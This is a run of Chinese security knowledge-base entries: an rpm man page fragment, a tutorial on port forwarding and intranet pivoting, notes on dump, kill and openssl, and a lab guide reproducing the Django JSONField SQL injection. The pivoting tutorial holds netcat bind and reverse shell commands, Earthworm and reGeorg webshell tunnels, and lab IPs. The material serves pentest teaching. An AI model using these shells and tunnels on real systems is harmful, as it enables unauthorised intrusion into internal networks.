generally involves the equivalent of a "make". .IP "\fB\-bi\fP" Do the "%install" stage from the spec file (after doing the prep and build stages). This generally involves the equivalent of a "make install". .IP "\fB\-bb\fP" 生成一个二进制包(在完成prep, build, 以及 install阶段之后) .IP "\fB\-bs\fP" 只生成源包(在完成prep, build, 以及 install阶段之后) .IP "\fB\-ba\fP" 生成二进制包和源包(在完成prep, build, 以及 install阶段之后) .PP 还可以使用的选项如下: .IP "\fB\-\-short\-circuit\fP" 忽略导致specified阶段(比如,忽略所有导致specified阶段的阶段). 只有与\fB\-bc\fP 以及 \fB\-bi\fP合用才有效. .IP "\fB\-\-timecheck\fP" 设置"timecheck"的值(0-?).该值也可以通过定义宏"_timecheck"来配置. timecheck值以秒为单位,表示一个包生成的最大年龄.如果时间超过了该值, 则对所有文件皆给出警告信息. .IP "\fB\-\-clean\fP" 在包完成之后,移去生成树. .IP "\fB\-\-rmsource\fP" 在完成包的生成之后移去源和spec文件 (也可以单独使用,比如:"\fBrpm \-\-rmsource foo.spec\fP"). .IP "\fB\-\-test\fP" 不执行任何生成阶段.在测试spec文件时很有用处. .IP "\fB\-\-sign\fP" 在包中嵌入一个PGP签名.该签名可以用来核实该包的完整性和源发性. 配置细节可以察看 PGP 签名 一节. .IP "\fB\-\-buildroot \fI<dir>\fP" 在生成包的时候,用目录\fI<dir>\fP覆盖包的生成根目录tag. .IP "\fB\-\-target \fI<platform>\fP" 在生成包的时候,将\fI<platform>\fP解释为\fBarch-vendor-os\fP,并且相应地设置 宏\fB_target\fP, \fB_target_arch\fP 以及 \fB_target_os\fP. .IP "\fB\-\-buildarch \fI<arch>\fP" 在生成包的时候,将architecture设置到\fI<arch>\fP. 该选项在RPM 3.0中由于\fB\-\-target\fI的出现而被抛弃. .IP "\fB\-\-buildos \fI<os>\fP" 在生成包的时候,将architecture设置到\fI<os>\fP. 该选项在RPM 3.0中由于\fB\-\-target\fI的出现而被抛弃. .SH 重新生成以及重新编译选项 There are two other ways to invoke building with rpm: 有两种不同的方法用rpm重新生成包: .I "\fBrpm \-\-recompile \fI<source_package_file>+\fP" .I "\fBrpm \-\-rebuild \fI<source_package_file>+\fP" 当以这种方式激发的时候,\fBrpm\fP安装指明的源包,并且完成prep,compile,install工作. 另外,\fB\-\-rebuild\fP生成一个新的二进制包. 当包的生成完成的时候,生成所用目录被移去(就如同使用了\fB\-\-clean\fP), 而且该包的源和spec文件也要移走. .SH 签名一个已存在的RPM .I "\fBrpm \-\-resign \fI<binary_package_file>+\fP" 该选项生成并将新签名插入所列出的包里.已存在的签名会被移走. .I "\fBrpm \-\-addsign \fI<binary_package_file>+\fP" 该选项生成并将新签名附加到所列出的包的签名之后. .SH PGP 签名 要使用签名特性,RPM必须要能够运行PGP(要安装了PGP并且你可以访问它), 而且还需PGP能找到一个带有RPM公钥的公钥环. 缺省情况下,RPM使用PGP的缺省设置(著名的PGPPATH)来查找钥环. 如果你的钥环并不在PGP所期望它们处在的地方,则你需要配置宏 .IP "\fB_pgp_path\fP" 将其设为要使用的PGP钥环所在的位置. .PP 如果你想要签名一个你自己生成的包,你还必须创建自己的公钥和密钥对(请参阅PGP手册). 还需要配置签名类型宏: .IP "\fB_signature\fP" 目前只支持pgp.还有用户名宏: .IP "\fB_pgp_name\fP" 指明想要使用其键去签名你的包的用户. 在生成包的时候,可以将\-\-sign加到命令行里.这样只需给出你的口令短语, 就可以在生成包的同时对其签名. 比如,要想以用户\fp"John Doe <jdoe@foo.com>"\fP的身份,用在 \fB/etc/rpm/.pgp\fP的钥环,去签名一个包,就应该将 .IP "\fB%_signature\fP" \fBpgp\fP .IP "\fB%_pgp_name\fP" \fB/etc/rpm/.pgp\fP .IP "\fB%_pgp_name\fP" \fBJohn Doe <jdoe@foo.com>" .PP 包括在一个宏配置文件里. 对于系统的配置可以使用\fB/etc/rpm/macros\fP, 而对于个人配置可以使用\fB~/.rpmmacros\fP. .SH 重新生成数据库选项 rpm重建数据库的命令是 .PP \fBrpm \-\-rebuilddb\fP .PP 要重建一个新的数据库,可以: .PP \fBrpm \-\-initdb\fP .PP 对这些模式唯一的选项是\fB-\-dbpath\fP 和 \fB-\-root\fP. .SH SHOWRC 运行 .PP \fBrpm \-\-showrc\fP .PP 展示一些设置在\fIrpmrc\fP文件里的值,RPM所有选项都会利用这些值. .SH FTP/HTTP选项 RPM包括简单的FTP和HTTP客户端程序,这样可以简化那些从internet取得的包的安装和查询. 用于安装,升级,以及查询操作的包文件可以说明为ftp或者http格式的URL: .PP \fBftp://<user>:<password>@hostname:<port>/path/to/package.rpm\fP .PP 如果忽略掉\fB:password\fP部分,会提示要求给出口令(每个用户/主机名对一次) 如果用户名和口令都忽略了,就使用匿名ftp. 总是使用消极(PASV) ftp传送. RPM允许使用下列操作辅助ftp URLs .IP "\fB\--ftpproxy \fI<hostname>\fP" 主机\fI<hostname>\fP将被作为所有ftp传输的代理服务器使用, 这样允许用户通过使用了代理系统的防火墙机器来做ftp传输. 该选项也可以通过配置宏\fB_ftpproxy\fP来指明. .IP "\fB\--ftpport \fI<port>\fP" 用该TCP\fI<端口>\fP号取代缺省的端口去连接代理ftp服务器. 该选项也可以通过配置宏\fB_ftpport\fP来指明. .PP RPM允许使用下列操作辅助http URLs .IP "\fB\--httpproxy \fI<hostname>\fP" 将主机\fI<主机名>\fP作为所有http传输的代理服务器使用. 该选项可以通过配置宏\fB_httpproxy\fP来指明. .IP "\fB\--httpport \fI<port>\fP" 用该TCP\fI<端口>\fP号取代缺省的端口去连接代理http服务器. 该选项也可以通过配置宏\fB_httpport\fP来指明. .PP .SH 文件 .nf /usr/lib/rpm/rpmrc /etc/rpmrc ~/.rpmrc /var/lib/rpm/packages /var/lib/rpm/pathidx /var/lib/rpm/nameidx /tmp/rpm* .fi .SH 另见 .IR glint (8), .IR rpm2cpio (8) .B http://www.rpm.org/ .nf .SH 作者 .nf Marc Ewing <marc@redhat.com> Jeff Johnson <jbj@redhat.com> Erik Troan <ewt@redhat.com> .fi .SH "[中文版维护人]" .B mapping <email> .SH "[中文版最新更新]" 2001/7/21 .SH "《Linuxfourm 中文MAN-PAGE计划》" .BI http://cmpp.linuxforum.net
sec-knowleage
原文 by [CH_vksec](http://ch.vksec.com/2017/06/blog-post_72.html) 最近尝试了一些内网端口的转发和内网穿透,现在一起总结一下。 ![](../pictures/port-forwarding-1.png) ## 0x01 正向和反向代理 正向代理中,proxy 和 client 同属一个 LAN,对 server 透明; 反向代理中,proxy 和 server 同属一个 LAN,对 client 透明。 实际上 proxy 在两种代理中做的事都是代为收发请求和响应,不过从结构上来看正好左右互换了下,所以把前者那种代理方式叫做正向代理,后者叫做反向代理。 ### 正向代理 (Forward Proxy) Lhost--》proxy--》Rhost Lhost 为了访问到 Rhost,向 proxy 发送了一个请求并且指定目标是 Rhost,然后 proxy 向 Rhost 转交请求并将获得的内容返回给 Lhost,简单来说正向代理就是 proxy 代替了我们去访问 Rhost。 ### 反向代理(reverse proxy) Lhost<--->proxy<--->firewall<--->Rhost 和正向代理相反(废话),Lhost 只向 proxy 发送普通的请求,具体让他转到哪里,proxy 自己判断,然后将返回的数据递交回来,这样的好处就是在某些防火墙只允许 proxy 数据进出的时候可以有效的进行穿透 ### 简单区分 正向代理代理的是客户端,反向代理代理的是服务端,正向代理是我们自己 (Lhost) 戴套 (proxy) 插进去,反向代理是她 (Rhost) 主动通过上位 (proxy) 坐上来(Lhost)。 ## 0x02 lcx 转发 内网 IP:192.168.153.138 公网 ip:192.168.153.140 由于是本地实验,我这里将 138 的防火墙打开,当作内网环境,140 防火墙关闭,充当公网 ip,所以正常情况下不只能 138 访问 140,而 140 不能直接访问 138。这是两台机器互相 ping 的结果。 ![](../pictures/port-forwarding-2.png) ![](../pictures/port-forwarding-3.png) 1. 内网机器上执行:lcx.exe –slave 公网 IP + 端口 内网 IP + 端口 `lcx.exe –slave 192.168.153.140 4444 192.168.153.138 3389` ![](../pictures/port-forwarding-4.png) 将内网 (192.168.153.138) 的 3389 端口转发到公网 (192.168.153.138) 的 4444 端口 2. 公网 (192.168.153.138) 执行:`lcx -listen 4444 5555` ![](../pictures/port-forwarding-5.png) 监听公网 4444 端口请求,并将 4444 的请求传送给 5555 端口。 此时已经把内网的 3389 端口转发到了公网的 5555 端口。可以通过 127.0.0.1:5555 连接到内网的远程桌面。 ![](../pictures/port-forwarding-6.png) ![](../pictures/port-forwarding-7.png) ## 0x03 nc 反弹 ### 正向连接 在内网执行 `nc -l -p 5555 -t -e cmd.exe` ![](../pictures/port-forwarding-8.png) -t是通过 telne 模式执行 cmd.exe 程序,可以省略。 在公网执行 `nc -nvv 192.168.153.138 5555` ![](../pictures/port-forwarding-9.png) ### 反向连接 在公网监听nc -lp 5555 ![](../pictures/port-forwarding-10.png) 在内网机器反弹nc -t -e cmd 192.168.153.140 5555 ![](../pictures/port-forwarding-11.png) ## 0x04 socks 代理工具 常见的 socks 代理工具介绍如下 1. Earthworm 工具网址:http://rootkiter.com/EarthWorm EW 是一套便携式的网络穿透工具,具有 SOCKS v5 服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以 "正向"、"反向"、"多级级联" 等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内, 强烈推荐使用。 目前已经有了最新版 Termite,工具网址:http://rootkiter.com/Termite/ 2. reGeorg 工具网址:https://github.com/NoneNotNull/reGeorg reGeorg 是 reDuh 的升级版,主要是把内网服务器的端口通过 http/https 隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用 webshell 建立一个 socks 代理进行内网穿透,服务器必须支持 aspx、php 或 jsp 这些 web 程序中的一种。 3. sSocks 工具网址:http://sourceforge.net/projects/ssocks/ sSocks 是一个 socks 代理工具套装,可用来开启 socks 代理服务,支持 socks5 验证,支持 IPV6 和 UDP,并提供反向 socks 代理服务,即将远程计算机作为 socks 代理服务端,反弹回本地,极大方便内网的渗透测试,其最新版为 0.0.13。 4. SocksCap64 工具网址:http://www.sockscap64.com (需翻墙) SocksCap64 是一款在 windows 下相当好使的全局代理软件。SocksCap64 可以使 Windows 应用程序通过 SOCKS 代理服务器来访问网络而不需要对这些应用程序做任何修改, 即使某些本身不支持 SOCKS 代理的应用程序通过 SocksCap64 之后都可以完美的实现代理访问。 5. proxychains 工具网址:http://proxychains.sourceforge.net/ Proxychains 是一款在 LINUX 下可以实现全局代理的软件,性能相当稳定可靠。在使任何程序通過代理上网,允許 TCP 和 DNS 通過代理隧道,支持 HTTP、SOCKS4、SOCKS5 類型的代理服务器,支持 proxy chain,即可配置多个代理,同一個 proxy chain 可使用不同类型的代理服务器 ### 0x04.1 reGeorg+Proxychains 代理 上传 reGeorg 的 tunnel.jsp 到服务器。访问链接,并转发到本地端口。 `python reGeorgSocksProxy.py -p 1080 -u http://192.168.153.137/tunnel.jsp` ![](../pictures/port-forwarding-12.png) 使用设置 proxychains 的代理端口,进行访问,一般配合 nmap 和 metasploit 进行后续内网渗透。ps:proxychains 不支持 udp 和 icmp 协议,所以使用 nmap 要加上-sT -Pn即使用 tcp 协议且不使用 icmp 协议。 ![](../pictures/port-forwarding-13.png) ### 0x04.2 ew 穿透 该工具借用了 ssocks 和 lcx.exe 的操作逻辑,并进行更多的功能强化。 ![](../pictures/port-forwarding-14.png) 说明 目前工具提供六种链路状态,可通过 -s 参数进行选定,分别为: `ssocksd rcsocks rssocks lcx_slave lcx_tran lcx_listen ` 其中 SOCKS5 服务的核心逻辑支持由 ssocksd 和 rssocks 提供,分别对应正向与反向socks代理。 其余的 lcx 链路状态用于打通测试主机同 socks 服务器之间的通路。 lcx 类别管道: lcx_slave 该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。 lcx_tran 该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。 lcx_listen 该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。 通过组合lcx类别管道的特性,可以实现多层内网环境下的渗透测试。 下面是一个三级跳的本地测试例子。 ``` ./ew -s rcsocks -l 1080 -e 8888 ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999 ./ew -s lcx_listen -l 9999 -e 7777 ./ew -s rssocks -d 127.0.0.1 -e 7777 ``` 数据流向为 IE -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks #### 0x04.2.1 正向 SOCKS5 服务器 当目标网络边界存在公网 IP 且可任意开监听端口 `ew_for_Win.exe -s ssocksd -l 8888` ![](../pictures/port-forwarding-15.png) 上述命令是在该机器(192.168.153.140)开启一个 8888 的正向连接端口。然后其它主机可通过设置代理为 192.168.153.140:8888 添加这个代理。这里使用的是 proxychains ![](../pictures/port-forwarding-16.png) #### 0x04.2.2 反弹 SOCKS5 服务器 当目标网络边界不存在公网 IP,通过反弹方式创建 socks 代理。 先在一台具有公网 ip 的主机 A 上运行以下命令 `./ew_for_linux64 -s rcsocks -l 1080 -e 8888` ![](../pictures/port-forwarding-17.png) 意思是在我们公网 VPS 上添加一个转接隧道,把 1080 端口收到的代理请求转交给 8888 端口 在目标主机 B 上启动 SOCKS5 服务 并反弹到公网主机的 8888 端口 `ew_for_Win.exe -s rssocks -d 192.168.153.129 -e 8888` ![](../pictures/port-forwarding-18.png) 本地主机(192.168.153.129)然后通过添加公网 192.168.153.129:1080 这个代理, 来访问内网机器(192.168.153.129) 当然如果本地主机如果是公网 ip,就可以把在公网执行的步骤放在本地执行即可。 ![](../pictures/port-forwarding-19.png) #### 0x04.2.3 二级网络环境(一) 假设我们获得了右侧 A 主机和 B 主机的控制权限,A 主机配有 2 块网卡,一块 10.129.72.168 连通外网,一块 192.168.153.140 只能连接内网 B 主机,无法访问内网其它资源。B 主机可以访问内网资源,但无法访问外网。 ![](../pictures/port-forwarding-20.png) 先上传 ew 到 B 主机,利用 ssocksd 方式启动 8888 端口的 SOCKS 代理,命令如下 `ew_for_Win.exe -s ssocksd -l 8888` 然后在 A 主机执行 `ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.153.138 -g 8888` ![](../pictures/port-forwarding-21.png) 含义是将 1080 端口收到的代理请求转交给 B 主机(192.168.153.138)的 8888 端口 然后 My pc 就可以通过 A 的外网代理 10.129.72.168:1080 访问 B。 ![](../pictures/port-forwarding-22.png) #### 0x04.2.4 二级网络环境(二) 假设我们获得了右侧 A 主机和 B 主机的控制权限,A 主机没有公网 IP,也无法访问内网资源。B 主机可以访问内网资源,但无法访问外网。 ![](../pictures/port-forwarding-23.png) 这次操作有四步。 1. 在公网 vps(45.xxx.xxx.72)添加转接隧道,将 10800 端口收到的代理请求转交给 8888 端口 `./ew_for_linux64 -s lcx_listen -l 10800 -e 8888` ![](../pictures/port-forwarding-24.png) 2. B(192.168.153.138)主机正向开启 8888 端口 `ew_for_Win.exe -s ssocksd -l 9999` ![](../pictures/port-forwarding-25.png) 3. A 主机利用 lcx_slave 方式,将公网 VPS 的 888 端口和 B 主机的 999 端口连接起来 `ew_for_Win.exe -s lcx_slave -d 45.xxx.xxx.72 -e 8888 -f 192.168.153.138 -g 9999` ![](../pictures/port-forwarding-26.png) 4. 现在 my pc 可通过访问 45.xxx.xxx.72:10800 来使用 192.168.153.138 主机提供的 socks5 代理,代理成功,vps 会有 rssocks cmd_socket OK! 提示 ![](../pictures/port-forwarding-27.png) ![](../pictures/port-forwarding-28.png) ## 0x05 ssh 隧道代理转发 ssh 有三个强大的端口转发命令,分别是本地转发、远程转发、动态转发。 本地访问127.0.0.1:port1就是host:port2(用的更多) `ssh -CfNg -L port1:127.0.0.1:port2 user@host ` #本地转发 访问host:port2就是访问127.0.0.1:port1 `ssh -CfNg -R port2:127.0.0.1:port1 user@host` #远程转发 可以将dmz_host的hostport端口通过remote_ip转发到本地的port端口 `ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip` #正向隧道 监听本地port 可以将dmz_host的hostport端口转发到remote_ip的port端口 `ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip` #反向隧道 用于内网穿透防火墙限制之类 socket 代理: `ssh -qTfnN -D port remotehost` 参数详解: -q Quiet mode. 安静模式 -T Disable pseudo-tty allocation. 不占用 shell 了 -f Requests ssh to go to background just before command execution. 后台运行,并推荐加上 -n 参数 -N Do not execute a remote command. 不执行远程命令,端口转发就用它了 `-L port:host:hostport` 将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. IPv6 地址用另一种格式说明: `port/host/hostport -R port:host:hostport` 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这样的, 远程主机上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有用 root 登录远程主机才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport -D port 指定一个本地机器 "动态的'' 应用程序端口转发. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接. 目前支持 SOCKS协议, 将充当SOCKS服务器. 只有 root 才能转发特权端口. 可以在配置文件中指定动态端口的转发. ### 0x05.1 ssh 本地转发 远程管理服务器上的 mysql,mysql 不能直接 root 远程登陆。这时候就可以通过本地转发,通过 ssh 将服务器的 3306 端口转发到本地 1234 端口 `ssh -CfNg -L 1234 127.0.0.1:3306 root@45.32.31.121` ![](../pictures/port-forwarding-29.png) ### 0x05.2 ssh 远程转发 内网的服务器,外网不能直接访问,使用远程转发,将内网的服务器端口转发到外网端口。这时候访问外网的端口,就访问到了内网的端口。 `ssh -CfNg -R 81:127.0.0.1:80 root@192.168.153.142` ![](../pictures/port-forwarding-30.png) ![](../pictures/port-forwarding-31.png) 现在在 192.168.153.142 访问 127.0.0.1:81 就是访问内网的服务器的 80 端口。 ### 0x05.3 ssh 动态转发 socks 代理 把远程主机设置成代理,来代理访问不能访问的资源。在地机器上分配了一个监听端口, 一旦这个端口上有了连接, 该连接就经过 ssh 隧道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接。 `ssh -qTfnN -D 1080 root@45.32.31.121` ![](../pictures/port-forwarding-32.png) ![](../pictures/port-forwarding-33.png)
sec-knowleage
dump === 用于备份ext2或者ext3文件系统 ## 补充说明 **dump命令** 用于备份ext2或者ext3文件系统。可将目录或整个文件系统备份至指定的设备,或备份成一个大文件。 ### 语法 ```shell dump(选项)(参数) ``` ### 选项 ```shell -0123456789:备份的层级; -b<区块大小>:指定区块的大小,单位为KB; -B<区块数目>:指定备份卷册的区块数目; -c:修改备份磁带预设的密度与容量; -d<密度>:设置磁带的密度。单位为BPI; -f<设备名称>:指定备份设备; -h<层级>:当备份层级等于或大于指定的层级时,将不备份用户标示为“nodump”的文件; -n:当备份工作需要管理员介入时,向所有“operator”群组中的使用者发出通知; -s<磁带长度>:备份磁带的长度,单位为英尺; -T<日期>:指定备份的时间与日期; -u:备份完毕后,在/etc/dumpdates中记录备份的文件系统、层级、日期与时间等; -w:与-W类似,但仅显示需要备份的文件; -W:显示需要备份的文件及其最后一次备份的层级、时间与日期。 ``` ### 参数 备份源:指定要备份的文件、目录或者文件系统。 ### 实例 将`/home`目录所有内容备份到`/tmp/homeback.bak`文件中,备份层级为`0`并在`/etc/dumpdates`中记录相关信息: ```shell ‍dump -0u -f /tmp/homeback.bak /home ``` 将`/home`目录所有内容备份到`/tmp/homeback.bak`文件中,备份层级为`1`(只备份上次使用层次`0`备份后发生过改变的数据)并在`/etc/dumpdates`中记录相关信息: ```shell dump -1u -f /tmp/homeback.bak /home ``` 通过dump命令的备份层级,可实现完整+增量备份、完整+差异备份,在配合crontab可以实现无人值守备份。
sec-knowleage
# Django JSONField/HStoreField SQL Injection Vulnerability (CVE-2019-14234) [中文版本(Chinese version)](README.zh-cn.md) Django released a security update on August 1, 2019, which fixes a SQL injection vulnerability in the two model fields of JSONField and HStoreField. Reference link: - https://www.djangoproject.com/weblog/2019/aug/01/security-releases/ - https://www.leavesongs.com/PENETRATION/django-jsonfield-cve-2019-14234.html The vulnerability requires the developer to use JSONField/HStoreField; moreover, the field name of the queryset can be controlled. Django's built-in application Django-Admin is affected, which gives us an easy way to reproduce the vulnerability. ## Start Vulnerability Application Compile and start a vulnerable Django 2.2.3 by executing the following command: ``` docker compose build docker compose up -d ``` After the environment is started, you can see the home page of Django at `http://your-ip:8000`. ## Vulnerability Reproduce First, log in to the Django-Admin `http://your-ip:8000/admin/` with username `admin` and password `a123123123`. Then go to the list-view `http://your-ip:8000/admin/vuln/collection/` of the model `Collection`: ![](1.png) Add `detail__a'b=123` to the GET parameter, where `detail` is the JSONField: http://your-ip:8000/admin/vuln/collection/?detail__a%27b=123 You can see that the single quote has been injected successfully, and the SQL statement reports an error: ![](2.png)
sec-knowleage
kill === 发送信号到进程。 ## 目录 - [bash内建命令](#内建命令) - [GNU coreutils中的命令](#外部命令) ## 内建命令 #### 概要 ```shell kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... kill -l [sigspec] ``` #### 主要用途 - 发送信号到作业或进程(可以为多个)。 - 列出信号。 #### 选项 ```shell -s sig 信号名称。 -n sig 信号名称对应的数字。 -l 列出信号名称。如果在该选项后提供了数字那么假设它是信号名称对应的数字。 -L 等价于-l选项。 ``` #### 参数 pid:进程ID jobspec:作业标识符 #### 返回值 返回状态为成功除非给出了非法选项、执行出现错误。 #### 例子 ```shell [user2@pc] kill -l 9 KILL # 列出所有信号名称: [user2@pc] kill -l 1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP 6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1 11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM 16) SIGSTKFLT 17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP 21) SIGTTIN 22) SIGTTOU 23) SIGURG 24) SIGXCPU 25) SIGXFSZ 26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 29) SIGIO 30) SIGPWR 31) SIGSYS 34) SIGRTMIN 35) SIGRTMIN+1 36) SIGRTMIN+2 37) SIGRTMIN+3 38) SIGRTMIN+4 39) SIGRTMIN+5 40) SIGRTMIN+6 41) SIGRTMIN+7 42) SIGRTMIN+8 43) SIGRTMIN+9 44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13 48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12 53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9 56) SIGRTMAX-8 57) SIGRTMAX-7 58) SIGRTMAX-6 59) SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 62) SIGRTMAX-2 63) SIGRTMAX-1 64) SIGRTMAX # 下面是常用的信号。 # 只有第9种信号(SIGKILL)才可以无条件终止进程,其他信号进程都有权利忽略。 HUP 1 终端挂断 INT 2 中断(同 Ctrl + C) QUIT 3 退出(同 Ctrl + \) KILL 9 强制终止 TERM 15 终止 CONT 18 继续(与STOP相反,fg/bg命令) STOP 19 暂停(同 Ctrl + Z) ``` ```shell # 以下发送KILL信号的形式等价。当然还有更多的等价形式,在此不一一列举了。 [user2@pc] kill -s SIGKILL PID [user2@pc] kill -s KILL PID [user2@pc] kill -n 9 PID [user2@pc] kill -9 PID [user2@pc] sleep 90 & [1] 178420 # 终止作业标识符为1的作业。 [user2@pc] kill -9 %1 [user2@pc] jobs -l [1]+ 178420 KILLED ssh 192.168.1.4 [user2@pc] sleep 90 & [1] 181357 # 发送停止信号。 [user2@pc] kill -s STOP 181357 [user2@pc] jobs -l [1]+ 181537 Stopped (signal) sleep 90 # 发送继续信号。 [user2@pc] kill -s CONT 181357 [user2@pc] jobs -l [1]+ 181537 Running sleep 90 & ``` #### 注意 1. `bash`的作业控制命令包括`bg fg kill wait disown suspend`。 2. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 ## 外部命令 #### 概要 ```shell kill [-signal|-s signal|-p] [-q value] [-a] [--] pid|name... kill -l [number] | -L ``` #### 主要用途 - 发送信号到进程(可以为多个)。 - 列出信号。 #### 选项 ```shell -s, --signal signal 要发送的信号,可能是信号名称或信号对应的数字。 -l, --list [number] 打印信号名称或转换给定数字到信号名称。信号名称可参考文件(/usr/include/linux/signal.h)。 -L, --table 和'-l'选项类似,但是输出信号名称以及信号对应的数字。 -a, --all 不要限制“命令名到pid”的转换为具有与当前进程相同的UID的进程。 -p, --pid 打印目标进程的PID而不发送信号。 --verbose 打印信号以及接收信号的PID。 -q, --queue value 使用sigqueue(3)而不是kill(2)。参数value是信号对应的数字。 如果接收进程已为此信号安装了处理程序将SA_SIGINFO标记为sigaction(2),则可以获取 该数据通过siginfo_t结构的si_sigval字段。 --help 显示帮助信息并退出。 --version 显示版本信息并退出。 ``` #### 参数 接收信号的进程列表可以是PID以及name的混合组成。 PID:每一个PID可以是以下四种情况之一: 状态|说明 :--:|:--: n | 当n大于0时,PID为n的进程接收信号。 0 | 当前进程组中的所有进程均接收信号。 -1 | PID大于1的所有进程均接收信号。 -n | 当n大于1时,进程组n中的所有进程接收信号。当给出了一个参数的形式为“-n”,想要让它表示一个进程组,那么必须首先指定一个信号,或参数前必须有一个“--”选项,否则它将被视为发送的信号。 name:使用此名称调用的所有进程将接收信号。 #### 例子 ```shell > sleep 20 & # 列出对应的PID。 > kill -p sleep 23021 ``` #### 返回值 - 0 成功。 - 1 失败。 - 64 部分成功(当指定了多个进程时)。 #### 注意 1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 kill`或`info coreutils 'kill invocation'`。 2. 启动或关闭内建命令请查看`enable`命令,关于同名优先级的问题请查看`builtin`命令的例子部分的相关讨论。 3. 与`kill`命令类似的有`xkill`,`pkill`,`killall`等,用于不同的目的和场景。 #### 参考链接 [发送信号到进程](https://bash.cyberciti.biz/guide/Sending_signal_to_Processes)
sec-knowleage
# openssl --- ## 什么是x509证书链 x509 证书一般会用到三类文件,key,csr,crt. - Key 是私用密钥,openssl 格式,通常是 rsa 算法. - csr 是证书请求文件,用于申请证书.在制作 csr 文件的时候,必须使用自己的私钥来签署申请,还可以设定一个密钥. - crt 是 CA 认证后的证书文件(windows 下面的 csr,其实是 crt),签署人用自己的 key 给你签署的凭证. --- ## openssl 中有如下后缀名的文件 - .key 格式:私有的密钥 - .csr 格式:证书签名请求(证书请求文件),含有公钥信息,certificate signing request 的缩写 - .crt 格式:证书文件,certificate 的缩写 - .crl 格式:证书吊销列表,Certificate Revocation List 的缩写 - .pem 格式:用于导出,导入证书时候的证书的格式,有证书开头,结尾的格式 --- ## 证书各个字段的含义 查看证书的内容 ```bash openssl x509 -in /etc/pki/CA/cacert.pem -noout -text|egrep -i "issuer|subject|serial|dates" ``` - CN : 公用名称 (Common Name) - O : 单位名称 (Organization Name) - L : 所在城市 - S : 所在省份 - C : 所在国家 - OU : 显示其他内容 - E : 电子邮件 - G : 多个姓名字段 - Description : 介绍 - Phone : 电话号码 - STREET : 地址 - PostalCode : 邮政编码 --- ## CA 根证书的生成步骤 生成 CA 私钥(.key)-->生成 CA 证书请求(.csr)-->自签名得到根证书(.crt)(CA 给自已颁发的证书). ```flow st=>start: 生成 CA 私钥(.key) op=>operation: 生成 CA 证书请求(.csr) cond=>condition: 自签名得到根证书(.crt) st->op->cond ``` 生成 CA 私钥 ``` cd /etc/pki/CA/private openssl genrsa 2048 > cakey.pem ``` 生成自签证书、用 openssl 中 req 这个命令 ``` openssl req -new -x509 -key cakey.pem -out /etc/pki/CA/cacert.pem ``` 在 CA 的目录下创建两个文件: ```bash cd /etc/pki/CA touch index.txt # 索引问文件 touch serial # 给客户发证编号存放文件 echo 01 > serial ``` ```bash mkdir /etc/httpd/ssl cd /etc/httpd/ssl openssl genrsa 1024 > httpd.key openssl req -new -key httpd.key > httpd.csr openssl ca -days 365 -in httpd.csr > httpd.crt # 查看 openssl 证书数据库文件 cat /etc/pki/CA/index.txt ``` --- ## keytool 自签 ```bash keytool \ -keystore server.jks -storepass test123456 -deststoretype pkcs12 \ -genkeypair -keyalg RSA -validity 395 -keysize 2048 -sigalg SHA256withRSA \ -dname "CN=*.test.com" openssl pkcs12 -in server.jks -nodes -nocerts -out ca.key openssl pkcs12 -in server.jks -nokeys -out ca.crt openssl x509 -in ca.crt -noout -text ``` --- ## 随机数 ```bash openssl rand -base64 16 ``` --- ## 升级openssl版本 - https://www.openssl.org/source/ 以 openssl-1.1.1q 为例 ```bash wget https://www.openssl.org/source/openssl-1.1.1q.tar.gz tar -zxvf openssl-1.1.1q.tar.gz cd openssl-1.1.1q/ ./config make && make install ``` 新开启一个 bash 输入 `openssl version` 查看 openssl 版本 --- ## Source & Reference - https://blog.csdn.net/Michaelwubo/article/details/113736166 - https://cloud.tencent.com/developer/article/1411029 - https://www.cnblogs.com/iiiiher/p/8085698.html - https://ultimatesecurity.pro/post/san-certificate/
sec-knowleage
